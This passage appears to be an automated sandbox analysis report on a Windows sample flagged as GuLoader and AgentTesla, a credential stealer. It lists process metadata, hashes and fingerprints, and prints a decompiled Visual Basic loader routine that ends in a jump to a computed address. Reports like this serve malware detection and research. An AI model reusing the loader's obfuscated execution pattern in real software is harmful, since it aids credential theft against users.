                  Imagebase:0xba0000
                  File size:64616 bytes
                  MD5 hash:6FD7592411112729BF6B1F2F6C34899F
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:.Net C# or VB.NET
                  Yara matches:
                  • Rule: JoeSecurity_GuLoader, Description: Yara detected GuLoader, Source: 00000002.00000002.608367607.0000000000F81000.00000040.00000001.sdmp, Author: Joe Security
                  • Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000002.00000002.614309170.000000001DAE1000.00000004.00000001.sdmp, Author: Joe Security
                  • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.614309170.000000001DAE1000.00000004.00000001.sdmp, Author: Joe Security
                  Reputation:high

                  General

                  Start time:12:59:41
                  Start date:08/04/2021
                  Path:C:\Windows\System32\conhost.exe
                  Wow64 process (32bit):false
                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                  Imagebase:0x7ff61de10000
                  File size:625664 bytes
                  MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language
                  Reputation:high

                  Disassembly

                  Code Analysis

                  Reset < >

                    Executed Functions

                    Memory Dump Source
                    • Source File: 00000000.00000002.398410323.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false
                    Similarity
                    • API ID:
                    • String ID:
                    • API String ID:
                    • Opcode ID: 7e428814621568e2e5d7aef3abaee5a983c58acfb71071341b3d402b258c993b
                    • Instruction ID: 0f56ca78288e353d4ed6927c11482783905a273fd8b439892e38730bd3ec30fc
                    • Opcode Fuzzy Hash: 7e428814621568e2e5d7aef3abaee5a983c58acfb71071341b3d402b258c993b
                    • Instruction Fuzzy Hash: CF712932824B82ABDF26BF34D4123E7B7E19B1B358FA615D9C8414E091CB34D887AF05
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Memory Dump Source
                    • Source File: 00000000.00000002.398410323.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false
                    Similarity
                    • API ID:
                    • String ID:
                    • API String ID:
                    • Opcode ID: 14a96cd992128d08beba09a459d6b2595f7b0d2b08f94a0b4e8076f0178b6025
                    • Instruction ID: cd7935120995a96498407fa5c238efb2c7d69cb6fbd5657143ad90f2ebde43c3
                    • Opcode Fuzzy Hash: 14a96cd992128d08beba09a459d6b2595f7b0d2b08f94a0b4e8076f0178b6025
                    • Instruction Fuzzy Hash: 0D51C822914A82ABDF26BF34D4163D3A7D19B1F358FA665D4D8014E491CB34D8C3BF4A
                    Uniqueness

                    Uniqueness Score: -1.00%

                    APIs
                    Memory Dump Source
                    • Source File: 00000000.00000002.398410323.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false
                    Similarity
                    • API ID: ResumeThread
                    • String ID:
                    • API String ID: 947044025-0
                    • Opcode ID: 2dd1b0b114d2e1d43f30ac412379c4e16477c479d5a45e83ba313d9322b17b39
                    • Instruction ID: 52fc34d822632393cb9a78a53516dae9e9f65297e3cbfe36e29cdecf0f64a493
                    • Opcode Fuzzy Hash: 2dd1b0b114d2e1d43f30ac412379c4e16477c479d5a45e83ba313d9322b17b39
                    • Instruction Fuzzy Hash: 3141323F50A581ABD6306DA4B807FFA139957192B2F442194F4BD6FA50871878C3EEF2
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Memory Dump Source
                    • Source File: 00000000.00000002.398410323.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false
                    Similarity
                    • API ID:
                    • String ID:
                    • API String ID:
                    • Opcode ID: 7f81656de2a596249147469b5d8540f3e8d07290f9792b4d53ff1d4435609578
                    • Instruction ID: f515e995c87c267f955a4f0ce374b3ab2f7eec370089bd04eee38ebab4c3a65b
                    • Opcode Fuzzy Hash: 7f81656de2a596249147469b5d8540f3e8d07290f9792b4d53ff1d4435609578
                    • Instruction Fuzzy Hash: 7D519622924B829ADF26BF34D4063D7A7D19B1F358FA665D5D8014E091CB34D8C2BF4A
                    Uniqueness

                    Uniqueness Score: -1.00%

                    APIs
                    Memory Dump Source
                    • Source File: 00000000.00000002.398410323.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false
                    Similarity
                    • API ID: ResumeThread
                    • String ID:
                    • API String ID: 947044025-0
                    • Opcode ID: c8927da7335f8836c450440ee6889268d41856f2afba2484949322f6bd61b8ec
                    • Instruction ID: 72e5a55507dad48c41cef24e2d72ec84fcc285cdb2355b155c3db1022649d2d0
                    • Opcode Fuzzy Hash: c8927da7335f8836c450440ee6889268d41856f2afba2484949322f6bd61b8ec
                    • Instruction Fuzzy Hash: 5C41213F50A581ABD6306DA4B807FFA539957192B2F442194F4BD2FA50861C78C3EEF2
                    Uniqueness

                    Uniqueness Score: -1.00%

                    APIs
                    Memory Dump Source
                    • Source File: 00000000.00000002.398410323.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false
                    Similarity
                    • API ID: ResumeThread
                    • String ID:
                    • API String ID: 947044025-0
                    • Opcode ID: f39365f76a92c384f42561d02a90f511830f97eda860efaa28585385d2d73331
                    • Instruction ID: 7b285b2e408f14debc4634d37062ee0bb93fc524670a2f19bb34cfba2609912c
                    • Opcode Fuzzy Hash: f39365f76a92c384f42561d02a90f511830f97eda860efaa28585385d2d73331
                    • Instruction Fuzzy Hash: 7E41FD3F50A181ABD6346DA4B807FFA139957192B2F442184F4BD2FA50861878C3EEF2
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Memory Dump Source
                    • Source File: 00000000.00000002.398410323.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false
                    Similarity
                    • API ID:
                    • String ID:
                    • API String ID:
                    • Opcode ID: 588d3bb01fddb9dadf970705724a37741339abfb7b485fe2d4aa9fdeea68bf45
                    • Instruction ID: 83dca69457cc53897e9df66022b93c2af965f481bdb354596bdf6fdf9b5d1888
                    • Opcode Fuzzy Hash: 588d3bb01fddb9dadf970705724a37741339abfb7b485fe2d4aa9fdeea68bf45
                    • Instruction Fuzzy Hash: 9231AC5762459056CB1A5A7844522E7BFE2AA87F743AC66C8FD91AB643CF127087C280
                    Uniqueness

                    Uniqueness Score: -1.00%

                    C-Code - Quality: 54%
                    			E00418214(void* __ebx, void* __edi, void* __esi, signed int _a4) {
                    				void* _v3;
                    				void* _v5;
                    				void* _v8;
                    				intOrPtr _v12;
                    				intOrPtr _v16;
                    				signed int _v20;
                    				intOrPtr _v24;
                    				intOrPtr _v28;
                    				char _v52;
                    				signed int _v64;
                    				char _v68;
                    				char _v72;
                    				signed int _v76;
                    				char _v80;
                    				char _v96;
                    				intOrPtr _v104;
                    				char _v112;
                    				intOrPtr _v120;
                    				char _v128;
                    				intOrPtr _v136;
                    				char _v144;
                    				char* _v152;
                    				char _v160;
                    				intOrPtr _v168;
                    				char _v176;
                    				signed int _v184;
                    				char _v192;
                    				signed int _v212;
                    				signed int _v216;
                    				signed int _v220;
                    				intOrPtr* _v224;
                    				signed int _v228;
                    				signed int _v232;
                    				char _v248;
                    				char _v264;
                    				signed int _v288;
                    				intOrPtr _v292;
                    				signed int _v296;
                    				signed int _v300;
                    				intOrPtr* _v304;
                    				signed int _v308;
                    				signed int _v312;
                    				signed int _v316;
                    				intOrPtr _v1924090815;
                    				signed int _t165;
                    				signed int _t166;
                    				signed int _t171;
                    				signed int _t177;
                    				signed int _t183;
                    				char* _t185;
                    				signed int _t188;
                    				char* _t196;
                    				char* _t199;
                    				char* _t214;
                    				void* _t224;
                    				void* _t228;
                    				intOrPtr _t229;
                    				void* _t230;
                    
                    				_t229 = _t228 - 0x18;
                    				 *[fs:0x0] = _t229;
                    				L004014B0();
                    				_v28 = _t229;
                    				_v24 = 0x401440;
                    				_v20 = _a4 & 0x00000001;
                    				_a4 = _a4 & 0xfffffffe;
                    				_v16 = 0;
                    				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx,  *[fs:0x0], 0x4014b6, _t224);
                    				_v8 = 1;
                    				_v8 = 2;
                    				E00411188();
                    				L00401564();
                    				_v8 = 3;
                    				L0040155E();
                    				_v8 = 4;
                    				_t165 =  *((intOrPtr*)( *_a4 + 0x2b4))(_a4, 0xffffffff);
                    				asm("fclex");
                    				_v216 = _t165;
                    				if(_v216 >= 0) {
                    					_v296 = _v296 & 0x00000000;
                    				} else {
                    					_push(0x2b4);
                    					_push(0x410d28);
                    					_push(_a4);
                    					_push(_v216);
                    					L00401690();
                    					_v296 = _t165;
                    				}
                    				_v8 = 5;
                    				_t166 =  &_v68;
                    				L00401558();
                    				E0041109C(); // executed
                    				_v212 = _t166;
                    				L00401564();
                    				_v64 = _v212;
                    				L0040165A();
                    				_v8 = 6;
                    				_t171 =  *((intOrPtr*)( *_a4 + 0x58))(_a4,  &_v212, 1, _t166, _t166, L"c:\\a\\a.sys", 0, 0x140, 0xc8, 0x10);
                    				asm("fclex");
                    				_v216 = _t171;
                    				if(_v216 >= 0) {
                    					_v300 = _v300 & 0x00000000;
                    				} else {
                    					_push(0x58);
                    					_push(0x410d28);
                    					_push(_a4);
                    					_push(_v216);
                    					L00401690();
                    					_v300 = _t171;
                    				}
                    				_push(_v212);
                    				E0041112C();
                    				L00401564();
                    				_v8 = 7;
                    				E00411188();
                    				L00401564();
                    				_v8 = 8;
                    				_push(_v64);
                    				_push(2);
                    				E004111D4();
                    				L00401564();
                    				_v8 = 9;
                    				_push(2);
                    				E00411228();
                    				_v212 = _t171;
                    				L00401564();
                    				_v8 = 0xb;
                    				E004110E4();
                    				L00401564();
                    				_v8 = 0xc;
                    				if( *0x41931c != 0) {
                    					_v304 = 0x41931c;
                    				} else {
                    					_push(0x41931c);
                    					_push(0x41137c);
                    					L00401696();
                    					_v304 = 0x41931c;
                    				}
                    				_v216 =  *_v304;
                    				_t177 =  *((intOrPtr*)( *_v216 + 0x1c))(_v216,  &_v72);
                    				asm("fclex");
                    				_v220 = _t177;
                    				if(_v220 >= 0) {
                    					_v308 = _v308 & 0x00000000;
                    				} else {
                    					_push(0x1c);
                    					_push(0x41136c);
                    					_push(_v216);
                    					_push(_v220);
                    					L00401690();
                    					_v308 = _t177;
                    				}
                    				_v224 = _v72;
                    				_v152 = 2;
                    				_v160 = 3;
                    				L004014B0();
                    				asm("movsd");
                    				asm("movsd");
                    				asm("movsd");
                    				asm("movsd");
                    				_t183 =  *((intOrPtr*)( *_v224 + 0x54))(_v224, 0x10,  &_v76);
                    				asm("fclex");
                    				_v228 = _t183;
                    				if(_v228 >= 0) {
                    					_v312 = _v312 & 0x00000000;
                    				} else {
                    					_push(0x54);
                    					_push(0x4115e4);
                    					_push(_v224);
                    					_push(_v228);
                    					L00401690();
                    					_v312 = _t183;
                    				}
                    				_v288 = _v76;
                    				_v76 = _v76 & 0x00000000;
                    				_t185 =  &_v80;
                    				L0040169C();
                    				_t188 =  *((intOrPtr*)( *_a4 + 0x154))(_a4, _t185, _t185, _v288);
                    				asm("fclex");
                    				_v232 = _t188;
                    				if(_v232 >= 0) {
                    					_v316 = _v316 & 0x00000000;
                    				} else {
                    					_push(0x154);
                    					_push(0x410d28);
                    					_push(_a4);
                    					_push(_v232);
                    					L00401690();
                    					_v316 = _t188;
                    				}
                    				_push( &_v80);
                    				_push( &_v72);
                    				_push(2);
                    				L00401654();
                    				_t230 = _t229 + 0xc;
                    				_v8 = 0xd;
                    				_v152 = 1;
                    				_v160 = 2;
                    				_v168 = 0x1c977;
                    				_v176 = 3;
                    				_v184 = _v184 & 0x00000000;
                    				_v192 = 2;
                    				_push( &_v160);
                    				_push( &_v176);
                    				_push( &_v192);
                    				_push( &_v264);
                    				_push( &_v248);
                    				_t196 =  &_v52;
                    				_push(_t196);
                    				L00401552();
                    				_v292 = _t196;
                    				while(_v292 != 0) {
                    					_v8 = 0xe;
                    					if(_v64 == 0x91b) {
                    						_v8 = 0xf;
                    						_v136 = 0x80020004;
                    						_v144 = 0xa;
                    						_v120 = 0x80020004;
                    						_v128 = 0xa;
                    						_v104 = 0x80020004;
                    						_v112 = 0xa;
                    						_v152 = L"There was an error while loading the bitmap";
                    						_v160 = 8;
                    						L004015FA();
                    						_push( &_v144);
                    						_push( &_v128);
                    						_push( &_v112);
                    						_push(0);
                    						_push( &_v96);
                    						L0040154C();
                    						_push( &_v144);
                    						_push( &_v128);
                    						_push( &_v112);
                    						_push( &_v96);
                    						_push(4);
                    						L00401666();
                    						_t230 = _t230 + 0x14;
                    					}
                    					_v8 = 0x11;
                    					E004110E4();
                    					L00401564();
                    					_v8 = 0x12;
                    					_push( &_v264);
                    					_push( &_v248);
                    					_t199 =  &_v52;
                    					_push(_t199);
                    					L00401546();
                    					_v292 = _t199;
                    				}
                    				_v8 = 0x13;
                    				_v12 = 0xffd4b534;
                    				_v12 = _v12 + 0x6c1c73;
                    				_v12();
                    				asm("invalid");
                    				_v1924090815 = _v1924090815 - 1;
                    				_push(0xbc458d50);
                    				_push(3);
                    				L00401654();
                    				_push( &_v144);
                    				_push( &_v128);
                    				_push( &_v112);
                    				_t214 =  &_v96;
                    				_push(_t214);
                    				_push(4);
                    				L00401666();
                    				return _t214;
                    			}





























































                    0x00418217
                    0x00418226
                    0x00418232
                    0x0041823a
                    0x0041823d
                    0x0041824a
                    0x00418253
                    0x00418256
                    0x00418265
                    0x00418268
                    0x0041826f
                    0x00418276
                    0x0041827b
                    0x00418280
                    0x00418289
                    0x0041828e
                    0x0041829d
                    0x004182a3
                    0x004182a5
                    0x004182b2
                    0x004182d4
                    0x004182b4
                    0x004182b4
                    0x004182b9
                    0x004182be
                    0x004182c1
                    0x004182c7
                    0x004182cc
                    0x004182cc
                    0x004182db
                    0x004182f5
                    0x004182f9
                    0x00418301
                    0x00418306
                    0x0041830c
                    0x00418317
                    0x0041831d
                    0x00418322
                    0x00418338
                    0x0041833b
                    0x0041833d
                    0x0041834a
                    0x00418369
                    0x0041834c
                    0x0041834c
                    0x0041834e
                    0x00418353
                    0x00418356
                    0x0041835c
                    0x00418361
                    0x00418361
                    0x00418370
                    0x00418376
                    0x0041837b
                    0x00418380
                    0x00418387
                    0x0041838c
                    0x00418391
                    0x00418398
                    0x0041839b
                    0x0041839d
                    0x004183a2
                    0x004183a7
                    0x004183ae
                    0x004183b0
                    0x004183b5
                    0x004183bb
                    0x004183c0
                    0x004183c7
                    0x004183cc
                    0x004183d1
                    0x004183df
                    0x004183fc
                    0x004183e1
                    0x004183e1
                    0x004183e6
                    0x004183eb
                    0x004183f0
                    0x004183f0
                    0x0041840e
                    0x00418426
                    0x00418429
                    0x0041842b
                    0x00418438
                    0x0041845a
                    0x0041843a
                    0x0041843a
                    0x0041843c
                    0x00418441
                    0x00418447
                    0x0041844d
                    0x00418452
                    0x00418452
                    0x00418464
                    0x0041846a
                    0x00418474
                    0x00418485
                    0x00418492
                    0x00418493
                    0x00418494
                    0x00418495
                    0x004184a4
                    0x004184a7
                    0x004184a9
                    0x004184b6
                    0x004184d8
                    0x004184b8
                    0x004184b8
                    0x004184ba
                    0x004184bf
                    0x004184c5
                    0x004184cb
                    0x004184d0
                    0x004184d0
                    0x004184e2
                    0x004184e8
                    0x004184f2
                    0x004184f6
                    0x00418504
                    0x0041850a
                    0x0041850c
                    0x00418519
                    0x0041853b
                    0x0041851b
                    0x0041851b
                    0x00418520
                    0x00418525
                    0x00418528
                    0x0041852e
                    0x00418533
                    0x00418533
                    0x00418545
                    0x00418549
                    0x0041854a
                    0x0041854c
                    0x00418551
                    0x00418554
                    0x0041855b
                    0x00418565
                    0x0041856f
                    0x00418579
                    0x00418583
                    0x0041858a
                    0x0041859a
                    0x004185a1
                    0x004185a8
                    0x004185af
                    0x004185b6
                    0x004185b7
                    0x004185ba
                    0x004185bb
                    0x004185c0
                    0x004186a4
                    0x004185cb
                    0x004185d9
                    0x004185df
                    0x004185e6
                    0x004185f0
                    0x004185fa
                    0x00418601
                    0x00418608
                    0x0041860f
                    0x00418616
                    0x00418620
                    0x00418633
                    0x0041863e
                    0x00418642
                    0x00418646
                    0x00418647
                    0x0041864c
                    0x0041864d
                    0x00418658
                    0x0041865c
                    0x00418660
                    0x00418664
                    0x00418665
                    0x00418667
                    0x0041866c
                    0x0041866c
                    0x0041866f
                    0x00418676
                    0x0041867b
                    0x00418680
                    0x0041868d
                    0x00418694
                    0x00418695
                    0x00418698
                    0x00418699
                    0x0041869e
                    0x0041869e
                    0x004186b1
                    0x004186b8
                    0x004186bf
                    0x004186c6
                    0x004186d2
                    0x004186d4
                    0x004186e0
                    0x004186e1
                    0x004186e3
                    0x004186f1
                    0x004186f5
                    0x004186f9
                    0x004186fa
                    0x004186fd
                    0x004186fe
                    0x00418700
                    0x00418708

                    APIs
                    • __vbaChkstk.MSVBVM60(?,004014B6), ref: 00418232
                    • __vbaSetSystemError.MSVBVM60(?,?,?,?,004014B6), ref: 0041827B
                    • __vbaOnError.MSVBVM60(000000FF,?,?,?,?,004014B6), ref: 00418289
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,00410D28,000002B4), ref: 004182C7
                    • __vbaStrToAnsi.MSVBVM60(?,c:\a\a.sys,00000000,00000140,000000C8,00000010), ref: 004182F9
                    • __vbaSetSystemError.MSVBVM60(00000001,00000000,?,c:\a\a.sys,00000000,00000140,000000C8,00000010), ref: 0041830C
                    • __vbaFreeStr.MSVBVM60(00000001,00000000,?,c:\a\a.sys,00000000,00000140,000000C8,00000010), ref: 0041831D
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,00410D28,00000058), ref: 0041835C
                    • __vbaSetSystemError.MSVBVM60(?), ref: 0041837B
                    • __vbaSetSystemError.MSVBVM60(?), ref: 0041838C
                    • __vbaSetSystemError.MSVBVM60(00000002,?,?), ref: 004183A2
                    • __vbaSetSystemError.MSVBVM60(00000002,00000002,?,?), ref: 004183BB
                    • __vbaSetSystemError.MSVBVM60(00000002,00000002,?,?), ref: 004183CC
                    • __vbaNew2.MSVBVM60(0041137C,0041931C,00000002,00000002,?,?), ref: 004183EB
                    • __vbaHresultCheckObj.MSVBVM60(00000000,00000000,0041136C,0000001C), ref: 0041844D
                    • __vbaChkstk.MSVBVM60(?), ref: 00418485
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,004115E4,00000054), ref: 004184CB
                    • __vbaObjSet.MSVBVM60(?,?), ref: 004184F6
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,00410D28,00000154), ref: 0041852E
                    • __vbaFreeObjList.MSVBVM60(00000002,?,?), ref: 0041854C
                    • __vbaVarForInit.MSVBVM60(?,?,?,00000002,00000003,00000002), ref: 004185BB
                    • __vbaVarDup.MSVBVM60 ref: 00418633
                    • #595.MSVBVM60(?,00000000,0000000A,0000000A,0000000A), ref: 0041864D
                    • __vbaFreeVarList.MSVBVM60(00000004,?,0000000A,0000000A,0000000A,?,00000000,0000000A,0000000A,0000000A), ref: 00418667
                    • __vbaSetSystemError.MSVBVM60(?,?,?,?,?,?,?,004014B6), ref: 0041867B
                    • __vbaVarForNext.MSVBVM60(?,?,?), ref: 00418699
                    Strings
                    • c:\a\a.sys, xrefs: 004182F0
                    • There was an error while loading the bitmap, xrefs: 00418616
                    Memory Dump Source
                    • Source File: 00000000.00000002.397624567.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.397616710.0000000000400000.00000002.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397667036.0000000000419000.00000004.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397678090.000000000041A000.00000002.00020000.sdmp Download File
                    Similarity
                    • API ID: __vba$Error$System$CheckHresult$Free$ChkstkList$#595AnsiInitNew2Next
                    • String ID: There was an error while loading the bitmap$c:\a\a.sys
                    • API String ID: 2245900540-3807692072
                    • Opcode ID: bcb682b776eb739dd923c63f7439f79369a5c7fc9b2c5821cfe0c81e06fbb4e5
                    • Instruction ID: 63000f78aec2bdc53247dd26bc9c5445926030d81e0883c0d32694e517d3012f
                    • Opcode Fuzzy Hash: bcb682b776eb739dd923c63f7439f79369a5c7fc9b2c5821cfe0c81e06fbb4e5
                    • Instruction Fuzzy Hash: CBD1E7B1C00218EFDF11DF91CD45BDDBBB8AF08308F1084AAE609BB1A1D7795A859F65
                    Uniqueness

                    Uniqueness Score: -1.00%

                    APIs
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.397624567.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.397616710.0000000000400000.00000002.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397667036.0000000000419000.00000004.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397678090.000000000041A000.00000002.00020000.sdmp Download File
                    Similarity
                    • API ID: #100
                    • String ID: VB5!6&*
                    • API String ID: 1341478452-3593831657
                    • Opcode ID: 8f30d73c960b89e634584cfc6e7be0d055d580b7636be4b4a57b24eea4bb13a5
                    • Instruction ID: d2c6c0fb11002d1f649370a12a98a8b9a886d53205a72f9fd0453009d8f6b9f0
                    • Opcode Fuzzy Hash: 8f30d73c960b89e634584cfc6e7be0d055d580b7636be4b4a57b24eea4bb13a5
                    • Instruction Fuzzy Hash: A851DA6254E3C19FC30387748C6A6927FB0AE5325871E41EBC5C2CF1B3E26D084AD7A6
                    Uniqueness

                    Uniqueness Score: -1.00%

                    APIs
                    Memory Dump Source
                    • Source File: 00000000.00000002.398410323.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false
                    Similarity
                    • API ID: InitializeThunk
                    • String ID:
                    • API String ID: 2994545307-0
                    • Opcode ID: 6b58e103afa803d7dd4c525a48cf96f0b6491e52e78fe133b2c186a4fd7a745e
                    • Instruction ID: 9e06c624ac7ffc7cd594df4961747e0821de129f650fc0d4d16f130d177138f3
                    • Opcode Fuzzy Hash: 6b58e103afa803d7dd4c525a48cf96f0b6491e52e78fe133b2c186a4fd7a745e
                    • Instruction Fuzzy Hash: 17D02E621096294FC7128E3AEA2228FFFA6EF83370F50A386D5A14B0C1C1695096CA80
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Memory Dump Source
                    • Source File: 00000000.00000002.397624567.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.397616710.0000000000400000.00000002.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397667036.0000000000419000.00000004.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397678090.000000000041A000.00000002.00020000.sdmp Download File
                    Similarity
                    • API ID:
                    • String ID:
                    • API String ID:
                    • Opcode ID: 4b34e7a71f53ee824224f57735f045c910c792781d15846cd43567db86e9af25
                    • Instruction ID: 454567cdb982022d7c06b4f10718c3b8368a9dbe53e312a29b30e59e3d75215d
                    • Opcode Fuzzy Hash: 4b34e7a71f53ee824224f57735f045c910c792781d15846cd43567db86e9af25
                    • Instruction Fuzzy Hash: F7B09220F88081AA5A0083545C029E425C096483843248C23E246C65E0D6398C808129
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Memory Dump Source
                    • Source File: 00000000.00000002.397624567.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.397616710.0000000000400000.00000002.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397667036.0000000000419000.00000004.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397678090.000000000041A000.00000002.00020000.sdmp Download File
                    Similarity
                    • API ID:
                    • String ID:
                    • API String ID:
                    • Opcode ID: 810462e10351bfef4ad7c90698a9dc1907f1c84877526d8810ca0f390a8a88c9
                    • Instruction ID: 6ab661eadc827ede17d47d8a785ec690c8ee5751b72650e97a118f856ae52ad5
                    • Opcode Fuzzy Hash: 810462e10351bfef4ad7c90698a9dc1907f1c84877526d8810ca0f390a8a88c9
                    • Instruction Fuzzy Hash: 3FB01234398109BB520043644C039F19180E24C3C03344C33F721C52F0D628CC40C12D
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Non-executed Functions

                    Memory Dump Source
                    • Source File: 00000000.00000002.398410323.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false
                    Similarity
                    • API ID:
                    • String ID:
                    • API String ID:
                    • Opcode ID: 95aae22ddbfe352dba131a3a03a65421dea3f4a12798a7d7af1f59800f84d688
                    • Instruction ID: fa7d292724b7dd257d2dd997710e8b3f40064e9db8b50113a6fc2f2c4748c88a
                    • Opcode Fuzzy Hash: 95aae22ddbfe352dba131a3a03a65421dea3f4a12798a7d7af1f59800f84d688
                    • Instruction Fuzzy Hash: C161B92714C3C257CB52AB3056A92C7FFF29EDFA143AEA6DCC0D58D922C52354839B41
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Memory Dump Source
                    • Source File: 00000000.00000002.398410323.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false
                    Similarity
                    • API ID:
                    • String ID:
                    • API String ID:
                    • Opcode ID: 117c84c1da695424147e859e63f6f2f27ad2a9786d38a4aad1fb9c8022a37144
                    • Instruction ID: d0a87070fbda05315345e04b9f012809b06a51a925ecb33d9534d903d15f9069
                    • Opcode Fuzzy Hash: 117c84c1da695424147e859e63f6f2f27ad2a9786d38a4aad1fb9c8022a37144
                    • Instruction Fuzzy Hash: 3351841B45D3C356CE82A7345BA82D3FFF25FCFA087AE55DCC4A84D926D52360879A40
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Memory Dump Source
                    • Source File: 00000000.00000002.398410323.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false
                    Similarity
                    • API ID:
                    • String ID:
                    • API String ID:
                    • Opcode ID: a0ddc72ca6b2785f3310a12fc6751b1ec89fcdd02825c8fde71fae362f5863d4
                    • Instruction ID: 6a7e2ef18f8b813fb3e385c383bdb3b5bba0b64050954e88bf34103b1425d510
                    • Opcode Fuzzy Hash: a0ddc72ca6b2785f3310a12fc6751b1ec89fcdd02825c8fde71fae362f5863d4
                    • Instruction Fuzzy Hash: 2641372714C3C257CB52AB345BA52D7FFF19ECFA2836A56EDC4E54D822C52320839B41
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Memory Dump Source
                    • Source File: 00000000.00000002.397624567.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.397616710.0000000000400000.00000002.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397667036.0000000000419000.00000004.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397678090.000000000041A000.00000002.00020000.sdmp Download File
                    Similarity
                    • API ID:
                    • String ID:
                    • API String ID:
                    • Opcode ID: 7c0d89424e785630e4fcd0bf78633f9d9e8b1fa06321524a0bf1ce16b71fdf83
                    • Instruction ID: 65031c6f8cbdea373504b6a27c4beb6af9e99855870d33d512a472bd072a8c10
                    • Opcode Fuzzy Hash: 7c0d89424e785630e4fcd0bf78633f9d9e8b1fa06321524a0bf1ce16b71fdf83
                    • Instruction Fuzzy Hash: 2B319AB6021E3F8BC33A1D10510A852BAE1E6D47443961C3DA5C1FEB89E2F866FCDA54
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Memory Dump Source
                    • Source File: 00000000.00000002.398410323.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false
                    Similarity
                    • API ID:
                    • String ID:
                    • API String ID:
                    • Opcode ID: 749eae8aa246ecd51326246a6d17e588af5b4beef41b0a3d78b4e07392ef4f8a
                    • Instruction ID: c3a6e3e664fda520d7e7e0a86667451ad8917cfcb30c7fdbce5f462c258b7586
                    • Opcode Fuzzy Hash: 749eae8aa246ecd51326246a6d17e588af5b4beef41b0a3d78b4e07392ef4f8a
                    • Instruction Fuzzy Hash: 5131B55744C3C25ACB42AB3057A42D3FFF25FDFA087AE51DDC4984D826D62320979A40
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Memory Dump Source
                    • Source File: 00000000.00000002.398410323.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false
                    Similarity
                    • API ID:
                    • String ID:
                    • API String ID:
                    • Opcode ID: 4e74203fde3b2ed9a2b98efda30d39f0eaf8477fac831924cdb567acbc466273
                    • Instruction ID: b21c6f8c4ddd7cb2286c7a2c99cfd17569eaab26fee3031cb03ece5d37293eec
                    • Opcode Fuzzy Hash: 4e74203fde3b2ed9a2b98efda30d39f0eaf8477fac831924cdb567acbc466273
                    • Instruction Fuzzy Hash: DF31F95B01D7C266CF82A73057A56D7FFF25ECFA083AE95EDC0985D926C4332093AA44
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Memory Dump Source
                    • Source File: 00000000.00000002.398410323.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false
                    Similarity
                    • API ID:
                    • String ID:
                    • API String ID:
                    • Opcode ID: 2db4c6637fb8bfd1498465f741335000823cac8e35153ed787d584f7a742bbed
                    • Instruction ID: 101957080d39a71ee24d898f8213372641c98ae40cbdbc9f7e6029c8499aacb8
                    • Opcode Fuzzy Hash: 2db4c6637fb8bfd1498465f741335000823cac8e35153ed787d584f7a742bbed
                    • Instruction Fuzzy Hash: 1E31524B05D2C326DE81A6341BB85C7DFF25FCFD083AEA5EDC4999D816C5336087AA01
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Memory Dump Source
                    • Source File: 00000000.00000002.398410323.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false
                    Similarity
                    • API ID:
                    • String ID:
                    • API String ID:
                    • Opcode ID: 9bc452b7128cad18c04910c40a142ccfc2b88631ac3292a7ac256835d398c227
                    • Instruction ID: 18412f1790890495975c44a0b6655b67b8c45e4e4e77c1d19f68fb736135dbc0
